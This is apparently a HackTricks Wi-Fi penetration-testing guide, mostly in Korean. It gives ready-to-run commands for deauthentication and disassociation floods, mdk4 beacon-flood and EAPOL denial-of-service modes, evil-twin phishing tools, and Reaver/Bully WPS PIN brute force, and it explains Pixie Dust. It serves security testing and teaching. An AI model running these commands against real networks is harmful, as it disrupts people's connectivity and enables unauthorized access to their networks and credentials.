Pentesting Wifi

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ

Wifi ๊ธฐ๋ณธ ๋ช…๋ น

ip link show #List available interfaces
iwconfig #List available interfaces
airmon-ng check kill #Kill annoying processes
airmon-ng start wlan0 #Monitor mode
airmon-ng stop wlan0mon #Managed mode
airodump-ng wlan0mon #Scan (default 2.4Ghz)
airodump-ng wlan0mon --band a #Scan 5Ghz
airodump-ng wlan0mon --wps #Scan WPS
iwconfig wlan0 mode monitor #Put in mode monitor
iwconfig wlan0mon mode managed #Quit mode monitor - managed mode
iw dev wlan0 scan | grep "^BSS\|SSID\|WSP\|Authentication\|WPS\|WPA" #Scan available wifis
iwlist wlan0 scan #Scan available wifis

๋„๊ตฌ

Hijacker & NexMon (Android ๋‚ด์žฅ Wi-Fi)

Enable Nexmon Monitor And Injection On Android

EAPHammer

git clone https://github.com/s0lst1c3/eaphammer.git
./kali-setup

Airgeddon

mv `which dhcpd` `which dhcpd`.old
apt install isc-dhcp-server
apt-get install sslstrip asleap bettercap mdk4 hostapd beef-xss lighttpd dsniff hostapd-wpe

docker๋กœ airgeddon ์‹คํ–‰ํ•˜๊ธฐ

docker run \
--rm \
-ti \
--name airgeddon \
--net=host \
--privileged \
-p 3000:3000 \
-v /tmp:/io \
-e DISPLAY=$(env | grep DISPLAY | awk -F "=" '{print $2}') \
v1s1t0r1sh3r3/airgeddon

์ถœ์ฒ˜: https://github.com/v1s1t0r1sh3r3/airgeddon/wiki/Docker%20Linux

wifiphisher

ํ•ด๋‹น ๋„๊ตฌ๋Š” Evil Twin, KARMA, Known Beacons ๊ณต๊ฒฉ์„ ์ˆ˜ํ–‰ํ•œ ํ›„ phishing template์„ ์ด์šฉํ•ด network real password๋ฅผ ํš๋“ํ•˜๊ฑฐ๋‚˜ social network credentials๋ฅผ ์บก์ฒ˜ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

git clone https://github.com/wifiphisher/wifiphisher.git # Download the latest revision
cd wifiphisher # Switch to tool's directory
sudo python setup.py install # Install any dependencies

Wifite2

์ด ๋„๊ตฌ๋Š” WPS/WEP/WPA-PSK ๊ณต๊ฒฉ์„ ์ž๋™ํ™”ํ•ฉ๋‹ˆ๋‹ค. ์ž๋™์œผ๋กœ ๋‹ค์Œ์„ ์ˆ˜ํ–‰ํ•ฉ๋‹ˆ๋‹ค:

  • ์ธํ„ฐํŽ˜์ด์Šค๋ฅผ monitor mode๋กœ ์„ค์ •
  • ๊ฐ€๋Šฅํ•œ ๋„คํŠธ์›Œํฌ๋ฅผ ์Šค์บ”ํ•˜๊ณ  ํ”ผํ•ด์ž(๋“ค)๋ฅผ ์„ ํƒํ•˜๋„๋ก ํ•จ
  • WEP์ธ ๊ฒฝ์šฐ - WEP ๊ณต๊ฒฉ ์‹คํ–‰
  • WPA-PSK์ธ ๊ฒฝ์šฐ
  • WPS์ธ ๊ฒฝ์šฐ: Pixie dust attack ๋ฐ bruteforce attack ์‹คํ–‰(์ฃผ์˜: brute-force attack์€ ๋งค์šฐ ์˜ค๋ž˜ ๊ฑธ๋ฆด ์ˆ˜ ์žˆ์Œ). null PIN์ด๋‚˜ database/generated PINs๋Š” ์‹œ๋„ํ•˜์ง€ ์•Š์Œ.
  • AP์—์„œ PMKID๋ฅผ ์บก์ฒ˜ํ•˜์—ฌ ํฌ๋ž™์„ ์‹œ๋„ํ•จ
  • AP์˜ ํด๋ผ์ด์–ธํŠธ๋“ค์„ deauthenticateํ•˜์—ฌ handshake๋ฅผ ์บก์ฒ˜ํ•˜๋ ค ์‹œ๋„ํ•จ
  • PMKID ๋˜๋Š” Handshake๊ฐ€ ์žˆ์œผ๋ฉด top5000 passwords๋ฅผ ์‚ฌ์šฉํ•ด bruteforce ์‹œ๋„

๊ณต๊ฒฉ ์š”์•ฝ

  • DoS
  • Deauthentication/disassociation โ€“ ๋ชจ๋‘ ์—ฐ๊ฒฐ ๋Š๊ธฐ(๋˜๋Š” ํŠน์ • ESSID/Client)
  • Random fake APs โ€“ ๋„คํŠธ์›Œํฌ ์ˆจ๊น€, ์Šค์บ๋„ˆ ์ถฉ๋Œ ๊ฐ€๋Šฅ
  • Overload AP โ€“ AP๋ฅผ ์ค‘๋‹จ์‹œํ‚ค๋ ค ์‹œ๋„(๋ณดํ†ต ํฌ๊ฒŒ ์œ ์šฉํ•˜์ง€ ์•Š์Œ)
  • WIDS โ€“ IDS๋ฅผ ์กฐ์ž‘
  • TKIP, EAPOL โ€“ ํŠน์ • AP๋“ค์— ๋Œ€ํ•ด DoS๋ฅผ ์œ ๋ฐœํ•˜๋Š” ์ผ๋ถ€ ํŠน์ • ๊ณต๊ฒฉ
  • Cracking
  • Crack WEP (์—ฌ๋Ÿฌ ๋„๊ตฌ์™€ ๋ฐฉ๋ฒ•)
  • WPA-PSK
  • WPS pin โ€œBrute-Forceโ€
  • WPA PMKID bruteforce
  • [DoS +] WPA handshake capture + Cracking
  • WPA-MGT
  • Username capture
  • Bruteforce Credentials
  • Evil Twin (with or without DoS)
  • Open Evil Twin [+ DoS] โ€“ captive portal creds๋ฅผ ์บก์ฒ˜ํ•˜๊ฑฐ๋‚˜ LAN ๊ณต๊ฒฉ์„ ์ˆ˜ํ–‰ํ•˜๋Š” ๋ฐ ์œ ์šฉ
  • WPA-PSK Evil Twin โ€“ ๋น„๋ฐ€๋ฒˆํ˜ธ๋ฅผ ์•Œ๊ณ  ์žˆ๋‹ค๋ฉด ๋„คํŠธ์›Œํฌ ๊ณต๊ฒฉ์— ์œ ์šฉ
  • WPA-MGT โ€“ company credentials๋ฅผ ์บก์ฒ˜ํ•˜๋Š” ๋ฐ ์œ ์šฉ
  • KARMA, MANA, Loud MANA, Known beacon
  • + Open โ€“ captive portal creds๋ฅผ ์บก์ฒ˜ํ•˜๊ฑฐ๋‚˜ LAN ๊ณต๊ฒฉ ์ˆ˜ํ–‰์— ์œ ์šฉ
  • + WPA โ€“ WPA handshakes๋ฅผ ์บก์ฒ˜ํ•˜๋Š” ๋ฐ ์œ ์šฉ

Open / OWE ๋„คํŠธ์›Œํฌ ๋น ๋ฅธ ๋ฉ”๋ชจ

  • Passive capture on open SSIDs๋Š” monitor mode์™€ tcpdump๋กœ ์—ฌ์ „ํžˆ ์ž‘๋™ํ•จ:
iw wlan0 set type monitor
ip link set wlan0 up
iw wlan0 set channel 6
tcpdump -i wlan0 -w capture.pcap
  • OWE (Opportunistic Wireless Encryption)๋Š” ์Šคํ…Œ์ด์…˜๋ณ„ ํ‚ค ๊ตํ™˜์„ ์ˆ˜ํ–‰ํ•˜๋ฏ€๋กœ(PSK ์—†์Œ) โ€œopenโ€ SSID์—์„œ๋„ ๋ฌด์„  ํ”„๋ ˆ์ž„์ด ์•”ํ˜ธํ™”๋ฉ๋‹ˆ๋‹ค. WPA3 ๊ธฐ๋ฐ˜์ด๋ฏ€๋กœ ์Šคํ‘ธํ•‘๋œ deauth/disassoc ํ”„๋ ˆ์ž„์„ ์ฐจ๋‹จํ•˜๋Š” 802.11w PMF๋„ ์ ์šฉ๋ฉ๋‹ˆ๋‹ค.
  • OWE๋Š” ๊ฐ€์ž…์ž ์ธ์ฆ์„ ์ˆ˜ํ–‰ํ•˜์ง€ ์•Š์Šต๋‹ˆ๋‹ค: ๋ˆ„๊ตฌ๋‚˜ associationํ•  ์ˆ˜ ์žˆ์œผ๋ฏ€๋กœ ๋งˆ์ผ€ํŒ… ๋ฌธ๊ตฌ๋ฅผ ๋ฏฟ์ง€ ๋ง๊ณ  client isolation์„ ํ™•์ธํ•˜์„ธ์š”. ๊ฒฉ๋ฆฌ๊ฐ€ ์—†์œผ๋ฉด ARP spoofing์ด๋‚˜ responder-style poisoning ๊ฐ™์€ ๋กœ์ปฌ L2 ๊ณต๊ฒฉ์ด ์—ฌ์ „ํžˆ ์ž‘๋™ํ•ฉ๋‹ˆ๋‹ค.
  • Evil Twin์€ ๋” ๊ฐ•ํ•œ ์‹ ํ˜ธ๋ฅผ ๋‚ด์„ธ์›Œ open/OWE SSID์—์„œ ์—ฌ์ „ํžˆ ๊ฐ€๋Šฅํ•˜๋ฉฐ; PMF๋Š” ๋‹จ์ง€ deauth ์ง€๋ฆ„๊ธธ์„ ์ œ๊ฑฐํ•ฉ๋‹ˆ๋‹ค. ํ”ผํ•ด์ž๊ฐ€ ์œ„์กฐ๋œ TLS cert๋ฅผ ์ˆ˜๋ฝํ•˜๋ฉด ์™„์ „ํ•œ HTTP(S) MitM์ด ๋‹ค์‹œ ์„ฑ๋ฆฝ๋ฉ๋‹ˆ๋‹ค.
  • ๊ณต๊ฐœ ๊ฒŒ์ŠคํŠธ Wiโ€‘Fi์—์„œ์˜ ๋ธŒ๋กœ๋“œ์บ์ŠคํŠธ ํฌ์ด์ฆˆ๋‹์€ creds/hashes(LLMNR/NBT-NS/mDNS)๋ฅผ ์‰ฝ๊ฒŒ ์–ป์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์ฐธ์กฐ:

Spoofing LLMNR, NBT-NS, mDNS/DNS and WPAD and Relay Attacks

DOS

Deauthentication Packets

์„ค๋ช… ์ถœ์ฒ˜ here:.

Deauthentication ๊ณต๊ฒฉ์€ Wiโ€‘Fi ํ•ดํ‚น์—์„œ ๋„๋ฆฌ ์‚ฌ์šฉ๋˜๋Š” ๋ฐฉ๋ฒ•์œผ๋กœ, โ€œmanagementโ€ ํ”„๋ ˆ์ž„์„ ์œ„์กฐํ•˜์—ฌ ์žฅ์น˜๋ฅผ ๋„คํŠธ์›Œํฌ์—์„œ ๊ฐ•์ œ๋กœ ๋ถ„๋ฆฌ์‹œํ‚ต๋‹ˆ๋‹ค. ์ด๋Ÿฌํ•œ ์•”ํ˜ธํ™”๋˜์ง€ ์•Š์€ ํŒจํ‚ท์€ ํด๋ผ์ด์–ธํŠธ๊ฐ€ ์ •๋‹นํ•œ ๋„คํŠธ์›Œํฌ๋กœ๋ถ€ํ„ฐ ์˜จ ๊ฒƒ์œผ๋กœ ์ฐฉ๊ฐํ•˜๊ฒŒ ๋งŒ๋“ค์–ด, ๊ณต๊ฒฉ์ž๊ฐ€ ํฌ๋ž˜ํ‚น์„ ์œ„ํ•ด WPA handshakes๋ฅผ ์ˆ˜์ง‘ํ•˜๊ฑฐ๋‚˜ ๋„คํŠธ์›Œํฌ ์—ฐ๊ฒฐ์„ ์ง€์†์ ์œผ๋กœ ๋ฐฉํ•ดํ•  ์ˆ˜ ์žˆ๊ฒŒ ํ•ฉ๋‹ˆ๋‹ค. ์ด ์ „์ˆ ์€ ๋‹จ์ˆœํ•จ ๋•Œ๋ฌธ์— ๋”์šฑ ์šฐ๋ ค์Šค๋Ÿฝ๊ณ , ๋„๋ฆฌ ์‚ฌ์šฉ๋˜๋ฉฐ ๋„คํŠธ์›Œํฌ ๋ณด์•ˆ์— ์ค‘๋Œ€ํ•œ ์˜ํ–ฅ์„ ๋ฏธ์นฉ๋‹ˆ๋‹ค.

Deauthentication using Aireplay-ng

aireplay-ng -0 0 -a 00:14:6C:7E:40:80 -c 00:0F:B5:34:30:30 ath0
  • -0๋Š” deauthentication์„ ์˜๋ฏธํ•ฉ๋‹ˆ๋‹ค
  • 1์€ ๋ณด๋‚ผ deauths์˜ ์ˆ˜์ž…๋‹ˆ๋‹ค (์›ํ•˜๋ฉด ์—ฌ๋Ÿฌ ๊ฐœ ๋ณด๋‚ผ ์ˆ˜ ์žˆ์Œ); 0์€ ๊ณ„์† ์ „์†กํ•จ์„ ์˜๋ฏธํ•ฉ๋‹ˆ๋‹ค
  • -a 00:14:6C:7E:40:80๋Š” access point์˜ MAC address์ž…๋‹ˆ๋‹ค
  • -c 00:0F:B5:34:30:30๋Š” deauthenticateํ•  client์˜ MAC address์ž…๋‹ˆ๋‹ค; ์ด ์˜ต์…˜์„ ์ƒ๋žตํ•˜๋ฉด broadcast deauthentication์ด ์ „์†ก๋ฉ๋‹ˆ๋‹ค(ํ•ญ์ƒ ์ž‘๋™ํ•˜์ง€ ์•Š์„ ์ˆ˜ ์žˆ์Œ)
  • ath0๋Š” ์ธํ„ฐํŽ˜์ด์Šค ์ด๋ฆ„์ž…๋‹ˆ๋‹ค

Disassociation Packets

Disassociation packets, similar to deauthentication packets, are a type of management frame used in Wi-Fi networks. ์ด๋Ÿฌํ•œ ํŒจํ‚ท์€ ์žฅ์น˜(์˜ˆ: ๋…ธํŠธ๋ถ ๋˜๋Š” ์Šค๋งˆํŠธํฐ)์™€ access point(AP) ๊ฐ„์˜ ์—ฐ๊ฒฐ์„ ๋Š๋Š” ์—ญํ• ์„ ํ•ฉ๋‹ˆ๋‹ค. Disassociation์™€ deauthentication์˜ ์ฃผ์š” ์ฐจ์ด๋Š” ์‚ฌ์šฉ ์‹œ๋‚˜๋ฆฌ์˜ค์— ์žˆ์Šต๋‹ˆ๋‹ค. AP๊ฐ€ deauthentication packets to remove rogue devices explicitly from the network, disassociation packets are typically sent when the AP is undergoing a shutdown, ์žฌ์‹œ์ž‘ ๋˜๋Š” ์ด๋™ ์ค‘์ผ ๋•Œ ์ „์†ก๋˜์–ด ์—ฐ๊ฒฐ๋œ ๋ชจ๋“  ๋…ธ๋“œ์˜ ์—ฐ๊ฒฐ์„ ํ•ด์ œํ•ด์•ผ ํ•  ๋•Œ ์‚ฌ์šฉ๋ฉ๋‹ˆ๋‹ค.

์ด ๊ณต๊ฒฉ์€ mdk4(mode โ€œdโ€)๋กœ ์ˆ˜ํ–‰ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:

# -c <channel>
# -b victim_client_mac.txt contains the MAC address of the device to eliminate
# -e WifiName is the name of the wifi
# -B BSSID is the BSSID of the AP
# Notice that these and other parameters aare optional, you could give onli the ESSID and md4k will automatically search for it, wait for finding clients and deauthenticate them
mdk4 wlan0mon d -c 5 -b victim_client_mac.txt -E WifiName -B EF:60:69:D7:69:2F

mdk4์˜ ์ถ”๊ฐ€ DOS ๊ณต๊ฒฉ

์ž์„ธํ•œ ๋‚ด์šฉ์€ here.

ATTACK MODE b: Beacon Flooding

ํด๋ผ์ด์–ธํŠธ์— fake APs๋ฅผ ํ‘œ์‹œํ•˜๊ธฐ ์œ„ํ•ด beacon frames๋ฅผ ๋ณด๋ƒ…๋‹ˆ๋‹ค. ์ด๊ฒƒ์€ ๋•Œ๋•Œ๋กœ network scanners๋‚˜ ์‹ฌ์ง€์–ด drivers๋ฅผ ์ถฉ๋Œ์‹œํ‚ฌ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค!

# -a Use also non-printable caracters in generated SSIDs and create SSIDs that break the 32-byte limit
# -w n (create Open) t (Create WPA/TKIP) a (Create WPA2/AES)
# -m use real BSSIDS
# All the parameters are optional and you could load ESSIDs from a file
mdk4 wlan0mon b -a -w nta -m

ATTACK MODE a: Authentication Denial-Of-Service

๋ฒ”์œ„ ๋‚ด์—์„œ ์ ‘๊ทผ ๊ฐ€๋Šฅํ•œ ๋ชจ๋“  Access Points (APs)์— authentication frames๋ฅผ ์ „์†กํ•˜๋ฉด, ํŠนํžˆ ๋งŽ์€ clients๊ฐ€ ๊ด€๋ จ๋œ ๊ฒฝ์šฐ ํ•ด๋‹น APs์— ๊ณผ๋ถ€ํ•˜๋ฅผ ์ผ์œผํ‚ฌ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์ด๋Ÿฌํ•œ ๊ณผ๋„ํ•œ ํŠธ๋ž˜ํ”ฝ์€ ์‹œ์Šคํ…œ ๋ถˆ์•ˆ์ •์„ ์ดˆ๋ž˜ํ•˜์—ฌ ์ผ๋ถ€ APs๊ฐ€ ๋ฉˆ์ถ”๊ฑฐ๋‚˜ ์‹ฌ์ง€์–ด ๋ฆฌ์…‹๋  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

# -a BSSID send random data from random clients to try the DoS
# -i BSSID capture and repeat pakets from authenticated clients
# -m use real MACs
# only -a or -i can be used
mdk4 wlan0mon a [-i EF:60:69:D7:69:2F] [-a EF:60:69:D7:69:2F] -m

ATTACK MODE p: SSID Probing and Bruteforcing

Probing Access Points (APs)๋Š” SSID๊ฐ€ ์ œ๋Œ€๋กœ ๋“œ๋Ÿฌ๋‚˜๋Š”์ง€ ํ™•์ธํ•˜๊ณ  AP์˜ ์ „ํŒŒ ๋ฒ”์œ„๋ฅผ ํ™•์ธํ•ฉ๋‹ˆ๋‹ค. ์ด ๊ธฐ์ˆ ์€ wordlist ์œ ๋ฌด์™€ ๊ด€๊ณ„์—†์ด bruteforcing hidden SSIDs์™€ ๊ฒฐํ•ฉ๋˜์–ด ์ˆจ๊ฒจ์ง„ ๋„คํŠธ์›Œํฌ๋ฅผ ์‹๋ณ„ํ•˜๊ณ  ์ ‘๊ทผํ•˜๋Š” ๋ฐ ๋„์›€์ด ๋ฉ๋‹ˆ๋‹ค.

ATTACK MODE m: Michael Countermeasures Exploitation

๋ฌด์ž‘์œ„ ๋˜๋Š” ์ค‘๋ณต ํŒจํ‚ท์„ ์„œ๋กœ ๋‹ค๋ฅธ QoS queues๋กœ ์ „์†กํ•˜๋ฉด TKIP APs์—์„œ Michael Countermeasures๋ฅผ ์œ ๋ฐœํ•˜์—ฌ AP๊ฐ€ 1๋ถ„๊ฐ„ ์…ง๋‹ค์šด๋  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์ด ๋ฐฉ๋ฒ•์€ ํšจ์œจ์ ์ธ DoS (Denial of Service) ๊ณต๊ฒฉ ์ „์ˆ ์ž…๋‹ˆ๋‹ค.

# -t <BSSID> of a TKIP AP
# -j use inteligent replay to create the DoS
mdk4 wlan0mon m -t EF:60:69:D7:69:2F [-j]

ATTACK MODE e: EAPOL Start and Logoff Packet Injection

AP์— EAPOL Start frames๋ฅผ ๋Œ€๋Ÿ‰์œผ๋กœ ์ „์†กํ•˜๋ฉด fake sessions๊ฐ€ ์ƒ์„ฑ๋˜์–ด AP๊ฐ€ ๊ณผ๋ถ€ํ•˜๋˜๊ณ  ์ •์ƒ์ ์ธ ํด๋ผ์ด์–ธํŠธ ์ ‘์†์ด ์ฐจ๋‹จ๋ฉ๋‹ˆ๋‹ค. ๋˜๋Š” fake EAPOL Logoff messages๋ฅผ ์ฃผ์ž…ํ•˜๋ฉด ํด๋ผ์ด์–ธํŠธ๋ฅผ ๊ฐ•์ œ๋กœ ์—ฐ๊ฒฐ ํ•ด์ œํ•  ์ˆ˜ ์žˆ์œผ๋ฉฐ, ๋‘ ๋ฐฉ๋ฒ• ๋ชจ๋‘ ๋„คํŠธ์›Œํฌ ์„œ๋น„์Šค๋ฅผ ํšจ๊ณผ์ ์œผ๋กœ ๋ฐฉํ•ดํ•ฉ๋‹ˆ๋‹ค.

# Use Logoff messages to kick clients
mdk4 wlan0mon e -t EF:60:69:D7:69:2F [-l]

ATTACK MODE s: IEEE 802.11s ๋ฉ”์‹œ ๋„คํŠธ์›Œํฌ์— ๋Œ€ํ•œ ๊ณต๊ฒฉ

๋ฉ”์‹œ ๋„คํŠธ์›Œํฌ์—์„œ์˜ ๋งํฌ ๊ด€๋ฆฌ ๋ฐ ๋ผ์šฐํŒ…์— ๋Œ€ํ•œ ๋‹ค์–‘ํ•œ ๊ณต๊ฒฉ.

ATTACK MODE w: WIDS ํ˜ผ๋ž€

ํด๋ผ์ด์–ธํŠธ๋ฅผ ์—ฌ๋Ÿฌ WDS ๋…ธ๋“œ๋‚˜ ๊ฐ€์งœ rogue APs์— ๊ต์ฐจ ์—ฐ๊ฒฐํ•˜๋ฉด Intrusion Detection and Prevention Systems๋ฅผ ์กฐ์ž‘ํ•˜์—ฌ ํ˜ผ๋ž€๊ณผ ์ž ์žฌ์  ์‹œ์Šคํ…œ ๋‚จ์šฉ์„ ์ดˆ๋ž˜ํ•  ์ˆ˜ ์žˆ๋‹ค.

# -z activate Zero_Chaos' WIDS exploit (authenticates clients from a WDS to foreign APs to make WIDS go nuts)
mkd4 -e <SSID> -c <channel> [-z]

ATTACK MODE f: Packet Fuzzer

๋‹ค์–‘ํ•œ ํŒจํ‚ท ์†Œ์Šค์™€ ํŒจํ‚ท ์กฐ์ž‘์„ ์œ„ํ•œ ํฌ๊ด„์ ์ธ ์ˆ˜์ •์ž ์„ธํŠธ๋ฅผ ๊ฐ–์ถ˜ packet fuzzer์ž…๋‹ˆ๋‹ค.

Airggedon

_Airgeddon_๋Š” ์ด์ „ ํ•ญ๋ชฉ์—์„œ ์ œ์•ˆํ•œ ๋Œ€๋ถ€๋ถ„์˜ ๊ณต๊ฒฉ์„ ์ œ๊ณตํ•ฉ๋‹ˆ๋‹ค:

WPS

WPS (Wi-Fi Protected Setup)๋Š” ๋ผ์šฐํ„ฐ์— ์žฅ์น˜๋ฅผ ์—ฐ๊ฒฐํ•˜๋Š” ๊ณผ์ •์„ ๋‹จ์ˆœํ™”ํ•˜์—ฌ WPA ๋˜๋Š” WPA2 Personal๋กœ ์•”ํ˜ธํ™”๋œ ๋„คํŠธ์›Œํฌ์˜ ์„ค์ • ์†๋„์™€ ํŽธ์˜์„ฑ์„ ํ–ฅ์ƒ์‹œํ‚ต๋‹ˆ๋‹ค. ์‰ฝ๊ฒŒ ๋šซ๋ฆฌ๋Š” WEP ๋ณด์•ˆ์—๋Š” ํšจ๊ณผ์ ์ด์ง€ ์•Š์Šต๋‹ˆ๋‹ค. WPS๋Š” 8์ž๋ฆฌ PIN์„ ์‚ฌ์šฉํ•˜๋ฉฐ, ๋‘ ๋ถ€๋ถ„์œผ๋กœ ๊ฒ€์ฆ๋˜๊ธฐ ๋•Œ๋ฌธ์— ์กฐํ•ฉ ์ˆ˜๊ฐ€ ์ œํ•œ๋˜์–ด(์•ฝ 11,000๊ฐ€์ง€) ๋ฌด์ฐจ๋ณ„ ๋Œ€์ž… ๊ณต๊ฒฉ์— ์ทจ์•ฝํ•ฉ๋‹ˆ๋‹ค.

WPS Bruteforce

์ด๋ฅผ ์ˆ˜ํ–‰ํ•˜๋Š” ์ฃผ์š” ๋„๊ตฌ๋Š” 2๊ฐ€์ง€์ž…๋‹ˆ๋‹ค: Reaver์™€ Bully.

  • Reaver๋Š” WPS์— ๋Œ€ํ•œ ๊ฒฌ๊ณ ํ•˜๊ณ  ์‹ค์šฉ์ ์ธ ๊ณต๊ฒฉ์œผ๋กœ ์„ค๊ณ„๋˜์—ˆ์œผ๋ฉฐ, ๋‹ค์–‘ํ•œ ์•ก์„ธ์Šค ํฌ์ธํŠธ์™€ WPS ๊ตฌํ˜„์„ ๋Œ€์ƒ์œผ๋กœ ํ…Œ์ŠคํŠธ๋˜์—ˆ์Šต๋‹ˆ๋‹ค.
  • Bully๋Š” C๋กœ ์ž‘์„ฑ๋œ WPS brute force ๊ณต๊ฒฉ์˜ ์ƒˆ๋กœ์šด ๊ตฌํ˜„์ž…๋‹ˆ๋‹ค. ์›๋ž˜ Reaver ์ฝ”๋“œ์— ๋น„ํ•ด ๋ช‡ ๊ฐ€์ง€ ์žฅ์ ์ด ์žˆ์Šต๋‹ˆ๋‹ค: ์˜์กด์„ฑ ๊ฐ์†Œ, ํ–ฅ์ƒ๋œ ๋ฉ”๋ชจ๋ฆฌ ๋ฐ CPU ์„ฑ๋Šฅ, ์˜ฌ๋ฐ”๋ฅธ ์—”๋””์•ˆ ์ฒ˜๋ฆฌ, ๊ทธ๋ฆฌ๊ณ  ๋” ๊ฒฌ๊ณ ํ•œ ์˜ต์…˜ ์„ธํŠธ.

์ด ๊ณต๊ฒฉ์€ WPS PINโ€™s vulnerability๋ฅผ ์•…์šฉํ•˜๋ฉฐ, ํŠนํžˆ ์ฒ˜์Œ ๋„ค ์ž๋ฆฌ์˜ ๋…ธ์ถœ๊ณผ ๋งˆ์ง€๋ง‰ ์ž๋ฆฌ์˜ ์ฒดํฌ์„ฌ ์—ญํ•  ๋•Œ๋ฌธ์— brute-force ๊ณต๊ฒฉ์ด ์‰ฌ์›Œ์ง‘๋‹ˆ๋‹ค. ๊ทธ๋Ÿฌ๋‚˜ ๊ณต๊ฒฉ์ ์ธ ํ–‰์œ„๋ฅผ ํ•˜๋Š” ๊ณต๊ฒฉ์ž์˜ blocking MAC addresses์™€ ๊ฐ™์€ ๋ฌด์ฐจ๋ณ„ ๋Œ€์ž… ๋ฐฉ์–ด๊ฐ€ ์žˆ์„ ๊ฒฝ์šฐ, ๊ณต๊ฒฉ์„ ๊ณ„์†ํ•˜๋ ค๋ฉด MAC address rotation์ด ํ•„์š”ํ•ฉ๋‹ˆ๋‹ค.

Bully๋‚˜ Reaver์™€ ๊ฐ™์€ ๋„๊ตฌ๋กœ WPS PIN์„ ์–ป์œผ๋ฉด ๊ณต๊ฒฉ์ž๋Š” WPA/WPA2 PSK๋ฅผ ์œ ์ถ”ํ•  ์ˆ˜ ์žˆ์–ด ์ง€์†์ ์ธ ๋„คํŠธ์›Œํฌ ์ ‘๊ทผ์„ ํ™•๋ณดํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

reaver -i wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -b -f -N [-L -d 2] -vvroot
bully wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -S -F -B -v 3

Smart Brute Force

์ด ์ •๊ตํ•œ ์ ‘๊ทผ๋ฒ•์€ ์•Œ๋ ค์ง„ ์ทจ์•ฝ์ ์„ ์ด์šฉํ•ด WPS PINs๋ฅผ ๊ณต๋žตํ•ฉ๋‹ˆ๋‹ค:

  1. ์‚ฌ์ „ ๋ฐœ๊ฒฌ๋œ PINs: ์ผ๊ด€๋œ WPS PINs๋ฅผ ์‚ฌ์šฉํ•˜๋Š” ๊ฒƒ์œผ๋กœ ์•Œ๋ ค์ง„ ํŠน์ • ์ œ์กฐ์‚ฌ์™€ ์—ฐ๊ด€๋œ ์•Œ๋ ค์ง„ PINs ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค๋ฅผ ํ™œ์šฉํ•ฉ๋‹ˆ๋‹ค. ์ด ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค๋Š” MAC-addresses์˜ ์ฒ˜์Œ ์„ธ octets๊ณผ ํ•ด๋‹น ์ œ์กฐ์‚ฌ์— ๋Œ€ํ•ด ๊ฐ€๋Šฅ์„ฑ์ด ๋†’์€ PINs๋ฅผ ์—ฐ๊ด€์‹œํ‚ต๋‹ˆ๋‹ค.
  2. PIN ์ƒ์„ฑ ์•Œ๊ณ ๋ฆฌ์ฆ˜: ComputePIN ๋ฐ EasyBox์™€ ๊ฐ™์€ ์•Œ๊ณ ๋ฆฌ์ฆ˜์„ ํ™œ์šฉํ•˜์—ฌ AP์˜ MAC-address๋ฅผ ๊ธฐ๋ฐ˜์œผ๋กœ WPS PINs๋ฅผ ๊ณ„์‚ฐํ•ฉ๋‹ˆ๋‹ค. Arcadyan ์•Œ๊ณ ๋ฆฌ์ฆ˜์€ ์ถ”๊ฐ€๋กœ device ID๊ฐ€ ํ•„์š”ํ•ด PIN ์ƒ์„ฑ ๊ณผ์ •์— ํ•œ ์ธต์„ ๋”ํ•ฉ๋‹ˆ๋‹ค.

WPS Pixie Dust attack

Dominique Bongard์€ ์ผ๋ถ€ Access Points (APs)์—์„œ ๋น„๋ฐ€ ์ฝ”๋“œ์ธ nonces(E-S1 ๋ฐ E-S2) ์ƒ์„ฑ๊ณผ ๊ด€๋ จํ•œ ๊ฒฐํ•จ์„ ๋ฐœ๊ฒฌํ–ˆ์Šต๋‹ˆ๋‹ค. ์ด nonces๋ฅผ ์•Œ์•„๋‚ผ ์ˆ˜ ์žˆ๋‹ค๋ฉด AP์˜ WPS PIN์„ ๊นจ๋Š” ๊ฒƒ์€ ์‰ฌ์›Œ์ง‘๋‹ˆ๋‹ค. AP๋Š” PIN์„ ํŠน๋ณ„ํ•œ ์ฝ”๋“œ (hash) ์•ˆ์— ํฌํ•จ์‹œ์ผœ ์ •๋‹นํ•œ ์žฅ์น˜์ด๋ฉฐ ๊ฐ€์งœ (rogue) AP๊ฐ€ ์•„๋‹˜์„ ์ฆ๋ช…ํ•ฉ๋‹ˆ๋‹ค. ์ด nonces๋Š” ๋ณธ์งˆ์ ์œผ๋กœ WPS PIN์„ ๋‹ด๊ณ  ์žˆ๋Š” โ€œ๊ธˆ๊ณ โ€œ๋ฅผ ์—ฌ๋Š” โ€œ์—ด์‡ โ€œ์ž…๋‹ˆ๋‹ค. ์ž์„ธํ•œ ๋‚ด์šฉ์€ here์—์„œ ํ™•์ธํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

